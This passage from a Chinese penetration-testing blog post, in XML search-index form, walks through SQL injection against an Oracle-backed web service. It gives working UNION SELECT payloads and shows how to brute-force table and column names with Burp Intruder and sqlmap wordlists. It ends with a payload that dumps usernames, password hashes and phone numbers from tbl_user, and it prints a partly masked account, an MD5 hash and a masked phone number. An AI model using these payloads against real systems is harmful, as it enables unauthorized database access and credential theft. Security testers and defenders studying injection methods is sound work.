/*返回正常,说明该字段为字符型*/</span><br></pre></td></tr></table></figure><p>使用以上方法测试每个字段,发现它们都是字符型</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1' union select '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from user_tables --</span><br></pre></td></tr></table></figure><p><img src="/articles/2017/how-do-sql-inject-web-services/8.png" alt="图8"></p><h2 id="0x06爆破表名"><a href="#0x06爆破表名" class="headerlink" title="0x06爆破表名"></a>0x06爆破表名</h2><p>由于这样的格式我们无法使用sqlmap进行注入。</p><p>思路:使用burp+sqlmap的tables字典,对下面语句的user_tables表名进行爆破。</p><p>设置AWVS的代理为burp suite的本机代理</p><p><img src="/articles/2017/how-do-sql-inject-web-services/9.png" alt="图9设置AWVS代理"></p><p>将数据包从AWVS的Web Servives Editor里送入burp suite的Intruder中</p><p><img src="/articles/2017/how-do-sql-inject-web-services/10.png" alt="图10发送数据包到burp suite"></p><p>选择sqlmap的txt目录下的表字典common-tables.txt,进行爆破。</p><p><img src="/articles/2017/how-do-sql-inject-web-services/11.png" alt="图11爆破表名"></p><p>爆破表名结果</p><p><img src="/articles/2017/how-do-sql-inject-web-services/12.png" alt="图12爆破表名结果"></p><h2 id="0x07爆破字段名"><a href="#0x07爆破字段名" class="headerlink" title="0x07爆破字段名"></a>0x07爆破字段名</h2><p>爆破字段名,思路入爆破表名一致。语句是</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1' union select columns,'2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from tbl_user --</span><br></pre></td></tr></table></figure><p>注意:tbl_user为上一步骤爆破发现的表名,colums为使用burp加载sqlmap字段字典common-columns.txt进行爆破的地方。</p><p><img src="/articles/2017/how-do-sql-inject-web-services/13.png" alt="图13-爆破字段名"></p><p>设置过程与爆破表名类似不在细说,爆破结果结果如图所示。</p><p><img src="/articles/2017/how-do-sql-inject-web-services/14.png" alt="图14-爆破字段名结果"></p><h2 id="0x08导出账号密码"><a href="#0x08导出账号密码" class="headerlink" title="0x08导出账号密码"></a>0x08导出账号密码</h2><p>综上最终注入语句为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1' union select user,password,mobile,'4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from tbl_user --</span><br></pre></td></tr></table></figure><p><img src="/articles/2017/how-do-sql-inject-web-services/15.png" alt="图15-注入得到账号密码"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">账号:DT*****AP </span><br><span class="line">密码:e10adc3949ba59abbe56e057f20f883e</span><br><span class="line">电话:139*****887</span><br></pre></td></tr></table></figure><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><ul><li><a href="http://blog.csdn.net/cclarence/article/details/49784595" target="_blank" rel="noopener">oracle数据库注入实战</a></li></ul>]]></content>
<categories>
<category> 渗透测试 </category>
</categories>
<tags>
<tag> sql注入 </tag>
</tags>
</entry>
</search>